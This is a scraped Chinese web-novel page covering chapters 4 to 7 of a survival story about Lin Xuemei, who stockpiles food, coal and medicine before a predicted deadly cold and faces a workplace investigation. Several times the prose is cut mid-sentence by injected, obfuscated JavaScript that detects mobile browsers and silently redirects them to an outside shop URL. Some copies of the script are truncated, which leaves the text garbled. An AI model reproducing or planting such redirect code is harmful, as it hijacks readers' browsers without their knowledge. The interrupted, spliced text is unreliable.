林雪梅看着他:“刘技术员觉得……会有多冷?” 刘志远犹豫了一下:“不好说。但如果真像资料里说的那种寒流,零下四十度是起码的,可能更低。” 零下四十度……他低估了。前世是零下五十度,持续三个月。 “谢谢刘技术员提醒。”林雪梅真诚地说,“我家会准备的。” 刘志远点点头,又看了她一眼,欲言又止,最后还是转身走了。 林雪梅看着他离开的背影,若有所思。刘志远是技术员,懂的知识多,人也正直。如果末世来了,这样的人也许能成为盟友。 她把买好的东西暂存在市场管理处,给了看门大爷一毛钱,说好下午来取。然后匆匆赶回厂里上班。 下午的工作很忙,赶一批出口的棉鞋,要求高,不能有半点瑕疵。林雪梅专心干活,但耳朵还是听到了车间里的议论。 “听说了吗?赵美娟要调去质检科了。” “真的假的?她不是仓库的吗?” “有人呗。周厂长亲自批的条子。” “啧啧,长得漂亮就是好……” 林雪梅手上的针线不停,心里却冷笑。果然,赵美娟已经开始行动了。前世她就是靠这个调岗,在末世初期混进了管理层,拿到了更多物资。 不能让她这么顺利。 下班前,林雪梅去了趟车间主任办公室。 “主任,我想申请参加年底技术比武。”她说。 车间主任是个五十多岁的老头,姓孙,戴一副老花镜,正看报纸呢。闻言抬起头:“技术比武?你想参加缝纫组?” “嗯。”林雪梅点头,“我师父说我技术可以,想试试。” 孙主任打量她几眼:“行啊,有上进心是好事。报名表在工会,你自己去拿。” “谢谢主任。” 林雪梅正要走,孙主任又叫住她:“对了,听说你和周厂长家那小子处对象?” “没有的事。”林雪梅立刻否认,“就是普通同志关系。” 孙主任笑了:“普通同志关系?那小子可没少往咱们车间跑。年轻人,谈对象就谈对象,没啥不好意思的。” 孙主任说着,摘下老花镜擦了擦,语气随意却带着几分试探:“不过周家门槛不低,你心里得有数。” 林雪梅听出弦外之音,平静道:“主任,我真没想这些。现在就想把技术练好,多挣点工分,给家里减轻负担。” “嗯,踏实,这想法好。”孙主任点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048555|194761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,摆摆手让她出去了。 走出办公室,林雪梅松了口气。孙主任虽然爱打官腔,但人不坏,前世极寒时还悄悄给车间工人多发过劳保手套。这样的人,保持好关系没坏处。 她没去工会拿报名表,那只是个由头。真正的目的,是让孙主任知道她“有上进心”,而不是整天围着周卫国转。 下班铃响,林雪梅快步出厂,先去市场取了寄存的粮食和白菜。东西太多,她雇了辆平板车,讲好三毛钱拉到家属院门口。 车夫是个五十来岁的汉子,皮肤黝黑,一口黄牙,边拉车边跟她唠嗑:“姑娘,你家这是要办席啊?买这么多。” “冬储,家里人口多。”林雪梅应付着。 “也是,今年这天气邪性,才十一月就冷成这样。”车夫呼出一口白气,“俺们屯子老人都说,怕是得来大烟儿泡(当地方言,指暴风雪)。” 林雪梅心里一动:“大爷,您是哪屯的?” “就北边靠山屯的。”车夫说,“姑娘你要有啥山货想买,找俺。榛子、蘑菇、木耳,俺家都有,比供销社便宜。” 靠山屯……林雪梅记下了。山货耐储存,热量高,是极寒时的好东西。 “行,有需要我找您。” 到了家属院门口,林小山已经等在那儿了,看见一车东西,眼睛瞪得溜圆:“姐!你咋买这么多!” “少废话,快搬。”林雪梅付了车钱,姐弟俩开始一趟趟往家倒腾。 东西堆在外屋地上,像座小山。王秀芬看见也吓了一跳:“梅子,这……这得花多少钱?” “妈,粮价便宜,我就多买了点。”林雪梅抹了把汗,“您看,玉米面一毛二,比上个月还便宜一分呢。” 王秀芬蹲下翻了翻粮食袋子,又拎了拎盐口袋,心疼钱,但更多的是不安:“梅子,你跟妈说实话,是不是出啥大事了?” 林雪梅知道瞒不过,关上门,压低声音:“妈,我听说内部消息,今年冬天要出大事。不是普通冷,是能冻死人的那种冷。咱家属院李技术员,就那个大学生,他也这么说。” 她把刘志远的话稍加渲染,又添了些“内部消息”的神秘感。 王秀芬脸色发白:“真的?那……那咋办?” “备粮,备柴,把屋子弄暖和。”林雪梅握住母亲的手,“妈,这事别往外说,说出去没人信,还惹麻烦。咱就悄悄准备。” 林建国下班回来,看见满屋东西,也愣住了。听完妻子女儿的讲述,他沉默地抽了半支烟,最后把烟头摁灭:“听梅子的。明天开始,我每天下班捎点柴火回来。小山,地窖明天就挖,挖深点。” “哎!”林小山用力点头。 晚饭后,林雪梅进入空间。白菜已经长到可以采收的大小了,绿油油一片。她拔了五棵,退出空间,假装是从市场买的“晚白菜”。 “这白菜真水灵。”王秀芬接过,摸了摸叶子,“这时候还有这么嫩的白菜?” “说是大棚里试种的。”林雪梅面不改色。 王秀芬也没有怀疑。 夜深人静,林雪梅再次进入空间。她把今天买的种子每样种了一点,土豆切块埋进土里,黄豆沿着井边撒了一圈。又从家里水缸引了水进去,浇灌了一遍。 看着黑土地上整齐的田垄,她心里踏实了些。 但还不够。药品、燃料、御寒物资,这些才是最难弄的。 5. 第 5 章 第二天上班,林雪梅明显感觉车间气氛不对。几个女工凑在一起嘀嘀咕咕,看见她就散开了。赵美娟没来上班,据说请假去办调岗手续了。 中午食堂,周卫国又来找她。这次他没带肉菜,脸色也不太好。 “雪梅,听说你申请技术比武了?”他开门见山。 “嗯,孙主任同意了。”林雪梅低头吃饭。 “你怎么不跟我商量一下?”周卫国语气里带着责怪,“比武要集中培训,占用业余时间。而且……美娟姐也报名了,你俩一个车间,让人看了多不好。” 林雪梅抬头看他:“有什么不好?技术比武,各凭本事。” 周卫国被她噎了一下,皱眉:“我不是那个意思。我是说……美娟姐马上要调去质检科了,这个比武对她评职称有帮助。你还年轻,以后有的是机会。” 又是这套说辞。前世她就是听了这话,主动退出了。 “周同志,”林雪梅放下筷子,“赵美娟要评职称,我就不用进步了?都是工人,凭什么我要让着她?” 周卫国愣住,显然没想到她会这么直白地顶撞。他张了张嘴,最后压低声音:“雪梅,你是不是对我有什么误会?还是……听别人说了什么?” “没有误会。”林雪梅站起来,“我就是想明白了,靠谁都不如靠自己。周同志,以后没事别来找我了,影响不好。” 说完,她端起饭盒走了。 周卫国僵在原地,脸色一阵青一阵白。周围吃饭的工人都往这边看,窃窃私语。 “看,吵架了?” “林雪梅胆子肥了,敢跟厂长儿子甩脸子……” “早就该这样,周卫国那德行,谁不知道……” 林雪梅充耳不闻,走到水槽边刷饭盒。冰凉的水冲在手背上,让她清醒。 撕破脸是迟早的事,但现在还不是彻底翻脸的时候。周卫国手里还有她需要的东西——煤票。 果然,下午刚上班,赵美娟就来了车间,脸色铁青。她没去自己工位,径直走到林雪梅面前。 “表妹,你什么意思?”赵美娟声音尖利,“卫国哥好心好意为你着想,你就这么对他?还在食堂当众给他难堪?” 车间里瞬间安静,所有人都竖起耳朵。 林雪梅头也没抬,继续缝鞋面:“表姐,这是车间,工作时间。私事下班再说。” “你少给我装!”赵美娟伸手就去拽她胳膊,“把话说清楚!” 林雪梅手腕一翻,针尖对着赵美娟的手:“表姐,小心扎着。” 赵美娟吓得缩回手,更气了:“林雪梅!你别不识好歹!没有卫国哥,你能在厂里这么顺当?你那点破事当我不知道?上个月你次品率超标,要不是卫国哥……” “赵美娟!”车间门口传来一声厉喝。 孙主任黑着脸走进来:“嚷嚷什么?当车间是菜市场?赵美娟,你调令还没下来呢,就敢在这儿撒野?不想干就滚回仓库去!” 赵美娟脸涨得通红,咬牙瞪了林雪梅一眼,扭身走了。 孙主任扫视一圈:“都看什么看?干活!” 下午的工作在林雪梅指尖飞快流逝。她心里却在盘算另一件事:煤。 黑土岭产煤,但都是计划供应。工人家庭每户冬季配给煤票五百斤,根本不够烧。想要额外的,要么去黑市高价买,要么……有关系批条子。 周卫国的父亲是厂长,批点煤应该不难。前世他就用这个拿捏了她家,极寒时施舍了两百斤煤,换走了她家一半存粮。 这一世,她要主动出击。 下班后,林雪梅没直接回家,而是绕道去了机械厂家属区。周卫国家住在最里头一栋二层小楼,独门独院,是厂里为数不多的干部楼。 她没进院子,在对面胡同口等着。天快黑时,看见周卫国的母亲拎着菜篮子回来。 周母姓吴,是厂办副主任,穿着呢子大衣,烫着头发,看着比实际年龄年轻不少。林雪梅记得,这个女人表面和气,骨子里却瞧不起工人家庭,前世没少给她冷脸。 “吴阿姨。”林雪梅走上前。 吴主任看见她,愣了一下,随即露出职业化的微笑:“是雪梅啊,找卫国?” “不,找您。”林雪梅从挎包里掏出一个小布包,“我妈晒了点山蘑菇,让我给您送来,炖鸡特别香。” 吴主任接过,掂了掂,得有半斤多,脸上笑容真切了些:“哎哟,你妈太客气了。进屋坐坐?” “不了,家里还有事。”林雪梅顿了顿,状似随意地说,“对了阿姨,听说今年煤紧张,我家那点煤票怕是不够烧。您路子广,知道哪儿能换点不?” 吴主任眼神闪了闪:“煤啊……是紧张。不过你家要是真缺,我倒是可以问问。就是……现在黑市价可不便宜。” “钱不是问题。”林雪梅立刻说,“只要能弄到,价钱好商量。阿姨,要不您帮忙问问,先要……一吨?我们家地窖挖得深,能存下。” “一吨?”吴主任吃了一惊,重新打量林雪梅。这小丫头平时看着土气,口气倒不小。一吨煤黑市价得四五十块,顶普通工人两个月工资。 “行,我帮你问问。”吴主任答应得爽快,反正中间她能抽成,“有信儿了让卫国告诉你。” “谢谢阿姨。”林雪梅道了谢,转身离开。 走出胡同,她嘴角浮起一丝冷笑。吴主任爱占小便宜,有好处肯定会上心。先通过她弄到第一批煤,至于周卫国那边……吊着就行。 回到家,林小山已经把地窖挖了大半。院子里堆着新鲜的黑土,带着寒气。 “姐,你看!”林小山从地窖里探出头,脸上全是泥,“我挖到冻土层了,下面可硬了!” 林雪梅探头看了看,地窖已经有一人多深,四壁用木板撑着,底下垫了干草和沙子。 “再挖深点,往旁边扩扩。”她比划着,“最好能存下一吨煤,再加几百斤菜。” “好嘞!”林小山干劲十足。 晚饭时,林雪梅说了弄煤的事。林建国有些担心:“一吨煤,得多少钱?咱家那点积蓄……” “爸,钱花了还能挣,命没了就啥都没了。”林雪梅给他夹了块土豆,“极寒要是真来了,煤就是命。贵也得买。” 王秀芬叹了口气:“买吧。我把压箱底的钱也拿出来。” 林雪梅鼻子一酸。前世父母就是这样,把最后一点家底都给了她,结果…… “不用,妈,钱我这儿有。”她拿出今天刚发的工资,又添了十块钱,“先这些,不够再说。” 夜里,林雪梅进入空间。黄豆已经发芽了,嫩绿的豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林雪梅一一记下。她看着刘志远镜片后认真的眼睛,忽然问:“刘技术员,您自己准备了吗?” 刘志远苦笑:“我刚分配来,住单身宿舍,没条件大规模准备。就存了点粮食,买了个煤油炉。” 林雪梅心里有了主意。她想了想,说:“刘技术员,如果您不嫌弃,可以跟我家搭伙。我家在挖地窖,存煤存粮。万一……有个照应。” 刘志远愣住,看着林雪梅,女孩的眼睛清澈而坚定,没有一丝杂质。在这个人人都忙着搞关系、谋出路的年代,这种直接的善意让他有些无措。 “这……太麻烦你们了。”他推了推眼镜。 “不麻烦。”林雪梅说,“您是技术员,懂的多,是我们麻烦您才对。而且……多个人,多份力。” 刘志远沉默片刻,点点头:“好。我这儿有些技术资料,关于简易保温房和取暖设备的,回头拿给你。” “谢谢。” 离开技术科,林雪梅脚步轻快了些。刘志远是个靠谱的盟友,而且单身,没有拖累。这样的人在末世里,比周卫国那种绣花枕头有用得多。 回到家,她发现院子里停着一辆自行车。凤凰牌,二六女式,崭新。 周卫国从屋里走出来,脸上带着惯有的微笑:“雪梅,回来了?我给你弄了张自行车票,车也提来了。喜欢吗?” 林雪梅看着那辆自行车。前世她收到这辆车时,高兴得哭了,觉得周卫国是真心对她好。现在她只看到算计——一辆车,就想把她拴牢。 6. 第 6 章 “周同志,这太贵重了,我不能要。”她平静地说。 周卫国笑容僵住:“怎么了?你上次不是说想要自行车吗?” “我是说想买,没说让你送。”林雪梅绕过他进屋,“你推回去吧,让人看见不好。” “雪梅!”周卫国跟进来,“你到底怎么了?是不是美娟姐跟你说了什么?她那人就那样,你别往心里去……” “跟赵美娟没关系。”林雪梅转身看他,“周卫国,咱俩不合适。以后别来找我了。” 周卫国脸色彻底沉下来:“林雪梅,你想清楚。这厂里想跟我好的姑娘多了去了,我是真心喜欢你才……” “谢谢你的喜欢。”林雪梅打断他,“但我不需要。请回吧。” 周卫国盯着她,眼神从错愕变成恼怒,最后冷笑一声:“行,你有骨气。别后悔。” 他推着自行车走了,车铃按得叮当响,像是在发泄。 王秀芬从里屋出来,担忧地看着女儿:“梅子,你这……是不是太绝了?” “妈,他不是良人。”林雪梅握住母亲的手,“信我。” 王秀芬叹了口气,没再说话。 她这几天也听街坊四邻说起过,这周卫国跟赵美娟走的勤,但女儿这样直接顶撞厂长的儿子,总归让王秀芬有些不安。 不过早点说清楚也好,王秀芬老实本分,不奢求女儿将来大富大贵,只希望能嫁个专一的、对女儿好的男人,而这周卫国,显然不太符合要求。 夜里,林雪梅进入空间时,发现井水似乎比昨天更清澈了。她打了一桶上来,浇灌菜地。白菜已经可以采收第二批了,黄豆苗长到一指高。 她拔了几棵白菜,又摘了把豆苗,退出空间。豆苗嫩得能掐出水,用开水一焯,凉拌了就是一道好菜。 第二天是周日,林雪梅起了个大早,带上昨天采的豆苗和白菜,又包了十个玉米面窝头,去了城北的靠山屯。 按照车夫给的地址,她找到屯子最里头一户人家。三间土坯房,院子很大,堆着柴火垛,墙角挂着成串的辣椒和玉米。 “有人吗?”她敲了敲门。 开门的是个中年妇女,系着围裙,手上沾着面:“找谁?” “请问是王大爷家吗?我是城里林建国家的,来买山货。” 妇女上下打量她,回头喊:“爹!有人找!” 王大爷就是那个车夫,从屋里出来,看见林雪梅,笑了:“姑娘,真来了?进屋说。” 屋里很简陋,但暖和。炕烧得热乎乎的,墙上贴着年画,柜子上摆着收音机。 林雪梅把带来的菜和窝头拿出来:“自家做的,给您尝尝。” “哎哟,这多不好意思。”王大爷媳妇搓着手,眼睛却亮了。城里细粮难得,更别说这么水灵的青菜。 “大爷,我想多买点山货。”林雪梅开门见山,“榛子、木耳、蘑菇,都要。价钱您定,但我要的多,得长期供。” 王大爷抽着旱烟,想了想:“姑娘,你要多少?” “先各要五十斤。以后每月来拿一次,每次不少于三十斤。” 王大爷和媳妇对视一眼,都看出对方眼里的惊讶。这可不是小数目。 “姑娘,实话跟你说,今年山里收成一般,这么多……得凑凑。”王大爷说。 “不急,月底前凑齐就行。”林雪梅掏出三十块钱定金,“这是定金,剩下的货到付清。” 看见钱,王大爷媳妇赶紧接过:“行!保证给你凑齐!” 谈妥了山货,林雪梅又问:“大爷,您知道哪儿能弄到煤吗?不要票的。” 王大爷咂咂嘴:“煤啊……矿上管得严,不好弄。不过俺有个表侄在矿上开车,偶尔能捎点落地煤(指运输过程中洒落的煤),就是贵。” “多贵?” “得比黑市价再高三成。”王大爷说,“而且要现钱,不能声张。” 林雪梅算了算,黑市煤一吨四十,高三成就是五十二。贵,但能解决燃眉之急。 “行,我要两吨。月底前能弄到吗?” 王大爷倒吸一口凉气:“两吨?姑娘,你家开澡堂子的?” “家里人多,怕冷。”林雪梅面不改色,“钱我分两次付,先付一半做定金。但必须保证质量,不能掺石头。” “那不能!”王大爷拍胸脯,“俺们山里人实诚,不干那缺德事。” 离开靠山屯时,林雪梅背篓里多了十斤榛子、五斤木耳,是王大爷媳妇硬塞的“样品”。她踩着积雪往回走,心里盘算着:山货有了,煤有了着落,下一步是药品和御寒衣物。 药品最难弄。这个年代,抗生素是处方药,没病开不出来。只能从其他渠道想办法。 她忽然想起一个人——李嫂。李嫂丈夫生前是厂医,家里应该还留着些药品。 回到家,林雪梅拿了一斤木耳、两斤白菜,去了李嫂家。 李嫂正在补衣服,看见她来,有些意外:“雪梅?快进来。” 屋里比林雪梅家还简陋,但收拾得干净。两个孩子在写作业,用的是别人用剩的作业本,反面写字。 “李嫂,自家种的白菜,给你们尝尝。”林雪梅把东西放下。 “这怎么好意思……”李嫂局促地搓着手,“你家也不宽裕。” “拿着吧,多着呢。”林雪梅坐下,看着李嫂补的衣服,忽然说,“李嫂,你手真巧。这补丁打的,都看不出来。” 李嫂苦笑:“没办法,孩子长得快,衣服小了接一截,破了补一块。” 林雪梅沉默片刻,压低声音:“李嫂,我听说今年冬天要特别冷,你家里……准备了吗?” 李嫂眼神黯淡:“准备啥呀,就那点煤票,省着烧呗。粮食倒是存了点,但也不多。” “李嫂,”林雪梅握住她的手,“我跟你交个底。我家在大量囤东西,粮、煤、山货。你要是信得过我,就把家里的药品、纱布什么的拿出来,咱们换。粮食我给你,煤我给你,你帮我弄药。” 李嫂瞪大眼睛:“雪梅,你……” “我不是开玩笑。”林雪梅眼神认真,“李嫂,你丈夫是医生,你肯定知道,极寒天气里,冻伤药、消炎药有多重要。我家没门路,你有。咱们互相帮忙,才能挺过去。” 李嫂的手在颤抖。她看着林雪梅,又看看两个埋头写作业的孩子,眼圈红了。 “雪梅,你……你说的是真的?冬天真要那么冷?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048557|194761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “真的。”林雪梅点头,“李嫂,早做准备,总比冻死饿死强。” 李嫂擦了擦眼睛,起身走到柜子前,打开锁,从最里头拿出一个小铁盒。打开,里面是各种药瓶、药膏、纱布、酒精。 “这是老张留下的,我一直没舍得扔。”李嫂声音哽咽,“你看看,能用上不?” 林雪梅仔细看了看:土霉素两瓶,止痛片一瓶,冻伤膏三管,纱布五卷,酒精两瓶,还有几支注射器和针头。 “都能用上。”林雪梅说,“李嫂,这些我都要了。我用五十斤玉米面、二十斤白菜跟你换,再加……下个月给你家拉二百斤煤。” 李嫂连忙摆手:“不用那么多!这些药不值钱……” “值。”林雪梅坚持,“李嫂,药在关键时候能救命,比粮食金贵。咱们就这么说定了。” 从李嫂家出来,林雪梅背着沉甸甸的铁盒,心里踏实了些。有了这些药,家人的安全多了一分保障。 日子一天天过去,林雪梅像只忙碌的松鼠,一点点往家里搬运物资。地窖挖好了,垫了厚厚的干草和沙子,分成了几个区:粮食区、蔬菜区、山货区、煤炭区。 空间里的作物长势惊人。白菜已经收了第三茬,土豆结了小拇指大的块茎,黄豆开了淡紫色的小花。她用多余的菜跟邻居换鸡蛋,换布头,换一切能用上的东西。 周卫国再没来找过她,但厂里的风言风语多了起来。都说林雪梅不识抬举,把厂长儿子甩了,怕是没好果子吃。 赵美娟顺利调去了质检科,每天穿着新衣服在车间晃悠,看林雪梅的眼神像淬了毒。 林雪梅一概不理。她忙着呢,哪有空搭理这些。 十一月底,第一场真正的大雪来了。鹅毛般的雪花下了整整一夜,第二天起来,世界一片白茫茫。 气温骤降到零下二十度。 家属院里开始有人抱怨煤不够烧,粮食吃得太快。张大妈又和男人吵架,这次是因为男人把买煤的钱拿去喝酒了。 林雪梅家却一片暖意。火炕烧得滚烫,双层窗户糊得严严实实,地窖里存着一吨煤,五百斤粮食,还有成堆的白菜土豆。 王秀芬看着窗外的大雪,终于彻底信了女儿的话。她开始主动帮着整理物资,把破旧的棉衣棉被拆洗翻新,里面续上新的棉花。 林建国每天下班都背一捆柴火回来,堆在屋檐下。林小山则负责每天检查地窖,记录温度和湿度。 刘志远来过一次,送来了他画的保温房图纸,还有一个小型煤油炉的改装方法。林雪梅留他吃了顿饭,饭桌上,刘志远讲了很多应对极端天气的知识,林建国听得连连点头。 十二月十日,距离极寒降临还有二十五天。 这天下午,林雪梅正在车间干活,孙主任忽然叫她:“林雪梅,来办公室一趟。” 她放下手里的活,跟着去了。办公室里除了孙主任,还有两个穿中山装的男人,表情严肃。 “林雪梅同志,我们是厂保卫科的。”其中一个年长些的开口,“有人举报你倒卖国家计划物资,私自囤积粮食煤炭,扰乱市场秩序。请你配合调查。” 林雪梅心里一沉。 该来的,还是来了。 7. 第 7 章 林雪梅的心脏猛地一沉,但面上却不显慌乱。她垂下眼,再抬起时,眼神里只剩下惊讶和委屈。 “倒卖?囤积?”她声音发颤,带着这个年纪女工该有的惶恐,“孙主任,这……这是从哪儿说起啊?我家的情况您也知道,就我爸一个正式工,我妈身体不好,弟弟还没工作,全指着我爸那点工资和粮票过日子,哪来的本事倒卖物资?” 孙主任看着她,眉头紧锁,没说话。 保卫科那个年长的,姓陈的科长盯着林雪梅:“有人反映,你家最近大量购买粮食、煤炭,甚至还有山货。你一个普通女工家庭,哪来这么多钱和票?东西去哪儿了?” 林雪梅眼圈适时地红了:“陈科长,这话可不能乱说。我家是买了点粮食,那不是因为听说今年冬天冷,怕不够吃吗?左邻右舍谁家不存点冬粮?至于煤……我家那点煤票,五百斤,早就领回来了,还不够烧一个月的,正愁呢。山货就更没影儿的事了,我倒是想买点给老人孩子补补,可哪儿有钱啊?” 她说着,从工装口袋里掏出皱巴巴的手绢,擦了擦眼角:“是不是……是不是因为我没答应跟周卫国处对象,有人故意整我?”这话说得声音不高,却刚好能让办公室里的人听清。 孙主任和陈科长交换了一个眼神。周卫国追林雪梅的事,厂里不少人知道,最近两人似乎闹掰了,也有风言风语。 陈科长语气缓和了些:“林雪梅同志,我们也是接到举报,例行调查。你说的情况,我们会核实。不过,举报信里说得很具体,包括你几次去市场大量采购,还雇车拉回家属院,不少人都看见了。” 林雪梅心里冷笑,知道这多半是赵美娟或者周卫国的手笔。 她抬起头,眼神清澈:“陈科长,我去市场是买过粮,可都是家里吃的。我家四口人,还有亲戚偶尔走动,多买点粮不正常吗?雇车是因为东西多,我一个小姑娘搬不动,这也有错?至于谁看见了……家属院张大妈天天在门口唠嗑,谁家买根葱她都知道,她的话能全信吗?上个月她还说李技术员家顿顿吃肉呢,可人家李技术员是单身,吃食堂的!” 她这话半真半假,却把水搅浑了。张大妈确实是个“广播站”,说话水分大,厂里人都知道。 孙主任这时开口了:“行了,陈科长,我看这事儿还得仔细查查。林雪梅在车间表现一直不错,技术好,也不惹事。这样吧,让她先回去工作,你们再找其他人了解了解情况。” 陈科长沉吟片刻,点了点头:“林雪梅同志,你先回去。不过近期不要离开厂区,随时配合调查。” “哎,谢谢孙主任,谢谢陈科长。”林雪梅弯了弯腰,转身走出了办公室。 门关上的瞬间,她脸上的委屈和惶恐瞬间褪去,只剩下冰冷的锐利。 调查?他们查不出什么。 粮食她分批买的,存在地窖里,上面盖着沙土和干草,不刻意翻找发现不了。煤还没运来,山货在王大爷那儿。至于钱,母亲压箱底的钱加上她自己的工资和节省下来的,来源清楚。 但这是个信号,有人开始盯着她了。而且用了这么阴损的招数。 回到车间,工友们都偷偷打量她,眼神各异。赵美娟坐在质检科的临时办公桌后,远远投来一个得意的眼神。 林雪梅面无表情地回到自己的缝纫机前,坐下,继续干活。针脚依然细密均匀,仿佛刚才什么都没发生。 下班时,天已经黑透了。雪停了,但风更冷,刮在脸上像刀子。林雪梅裹紧围巾,快步往家走。 走到半路,忽然听见身后有脚步声跟得很紧。她心里一凛,拐进一条更黑的胡同,手悄悄伸进挎包,握住那把一直带着的剪刀。 脚步声也跟着拐了进来。 林雪梅猛地转身,剪刀尖对准来人:“谁?!” 来人被她吓了一跳,后退半步:“是、是我!” 借着远处路灯的一点光,林雪梅看清了,是刘志远。他穿着厚厚的棉大衣,围着围巾,眼镜片上全是雾气。 “刘技术员?”林雪梅松了口气,放下剪刀,“你跟着我干什么?吓我一跳。” 刘志远摘掉眼镜擦了擦,重新戴上,神色有些严肃:“我听说保卫科找你了?没事吧?” 消息传得真快。林雪梅摇摇头:“没事,例行调查。” “没那么简单。”刘志远压低声音,“我下午去厂办送材料,听见吴主任,就是周卫国的母亲,跟保卫科的人说话,提到了你的名字,还有‘扰乱计划供应’什么的。” 果然是他们。林雪梅眼神冷了下来。 “谢谢你告诉我。”她说。 刘志远犹豫了一下:“林雪梅同志,我知道我可能多管闲事……但如果你需要证人,证明你买的粮食是家庭所需,我可以作证。我……我去过你家,见过你家的准备,确实是为了应对极端天气,不是为了倒卖。” 林雪梅有些意外地看着他。这个年代,这种事躲都来不及,他居然主动要作证? “刘技术员,你的好意我心领了。”她诚恳地说,“但这事你别掺和,免得连累你。我自己能处理。” 刘志远却摇摇头:“这不是你一个人的事。如果真的有大灾,个人的准备是杯水车薪,需要更多的人觉醒和互助。你和你家人的做法,是在自救,也是在提醒别人。如果连这种行为都要被打击,那真到了灾难来临的时候,大家就只剩等死了。” 他的话让林雪梅心头一震。她重生以来,一直想的是保护自己的小家,最多带上李嫂这样知根知底、有恩于她的人。 至于其他人,她不是圣母,前世见过太多人性丑恶,不敢轻易信任。 可刘志远的话,让她想起了前世极寒初期,家属院里也曾有过短暂的互助。 张家没煤了,李家匀一点,王家孩子病了,赵家送点药。虽然很快就在更大的生存压力下崩溃,但那一闪而过的微光,确实存在过。 “刘技术员,”她轻声说,“你说得对。但如果有人就是要整我,你作证可能也没用,反而会把自己搭进去。” “我知道。”刘志远推了推眼镜,镜片后的眼睛很坚定,“但我学过历史,也看过资料。在天灾面前,个体的力量太渺小了。如果连说实话、做实事的人都要被打压,那这个社会就真的没希望了。我……我想做我认为对的事。” 林雪梅看着他,这个书卷气浓厚的技术员,此刻却有一种难得的执拗和勇气。 “好。”她点点头,“如果真到了那一步,可能需要你帮忙。但现在,我们先按兵不动。他们查不出什么,最多让我写个检查,暂时不能把我怎么样。” 两人在胡同口分开。林雪梅回到家,家里气氛凝重。王秀芬眼睛红肿,显然哭过。林建国闷头抽烟,林小山攥着拳头,一脸愤慨。 “姐!保卫科的人下午来过了!”林小山腾地站起来,“把咱家翻了一遍!还好地窖口伪装得好,他们没发现!” 林雪梅心一紧:“他们翻到什么了?” “就看见外屋那点粮食和白菜。”王秀芬抹着眼泪,“就这,他们还记下来了,说要核实数量是不是超了定额。梅子,这可咋办啊?会不会把你爸的工作弄没了?” 林建国把烟头摁灭,声音沙哑:“没了就没了!咱又没做亏心事!他们这是欺负人!” “爸,妈,你们别急。”林雪梅冷静下来,“他们查不出什么。粮食是按人头定额买的,咱家四口人,加上偶尔来的亲戚,多买点说得过去。煤还没运来,山货不在家。他们最多批评咱们‘盲目囤积’,罚不了款,更动不了工作。” 她顿了顿,眼神锐利:“不过,这事不能就这么算了。谁举报的,我心里有数。” “是周家那小子?”林建国问。 “多半是,或者赵美娟。”林雪梅冷笑,“他们这是逼我就范,或者纯粹报复。但打错了算盘。” 她看了看家人:“爸,妈,小山,从今天起,咱们更要小心。地窖里的东西暂时别动,吃用都先用明面上的。爸,您上班也注意点,别跟人起冲突。小山,你最近别去打零工了,就在家守着,以防有人再来。” 安排好家里,林雪梅进了里屋,关上门,进入空间。 黑土地上的作物长势喜人。第二批白菜已经包心了,土豆块茎有鸡蛋大小,黄豆荚开始鼓胀。井水似乎更加清冽,她打了一瓢喝下,清凉之意直达四肢百骸,驱散了心头的焦躁。 她蹲在田垄边,仔细思考。 保卫科的调查是个麻烦,但也是机会。如果她能借此机会,让更多人“合理”地开始为寒冬做准备呢? 极端天气的消息,不能只靠她一个人说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵美娟起初也很快,但不时偷眼看看林雪梅,又看看裁判席上的周卫国,显得有些分心。没多久,她一个不慎,针扎到了手指,“哎呀”叫了一声。 林雪梅头也没抬。 时间一分一秒过去。一个半小时后,林雪梅第一个举手示意完成。她将做好的棉鞋双手捧到裁判席。 周厂长拿起鞋,仔细看了看针脚、对称度、牢固程度,又递给旁边的老技术员。几个裁判传阅一番,低声交流,都在点头。 赵美娟是第三个完成的,她的鞋样子也不错,但细看之下,鞋底纳得稍显松散,线头也没处理干净。 裁判开始评分。缝纫组一共八人参赛,林雪梅综合评分第一,赵美娟第二。 宣布结果时,赵美娟的脸一下子白了。她死死咬着嘴唇,看向周卫国。周卫国避开她的目光,脸色也不好看。 周厂长亲自给林雪梅颁发了奖状和一个搪瓷缸子作为奖品。他握着林雪梅的手,说了几句勉励的话,眼神却有些深意。 林雪梅恭敬地接过,道谢,然后面向观众席,微微鞠了一躬。 就在这时,她忽然开口了,声音清晰,透过话筒传遍礼堂:“谢谢领导,谢谢厂里给我这个机会。拿到这个奖,我很高兴,但更让我觉得肩上责任重了。” 众人都看着她,不知道她要说什么。 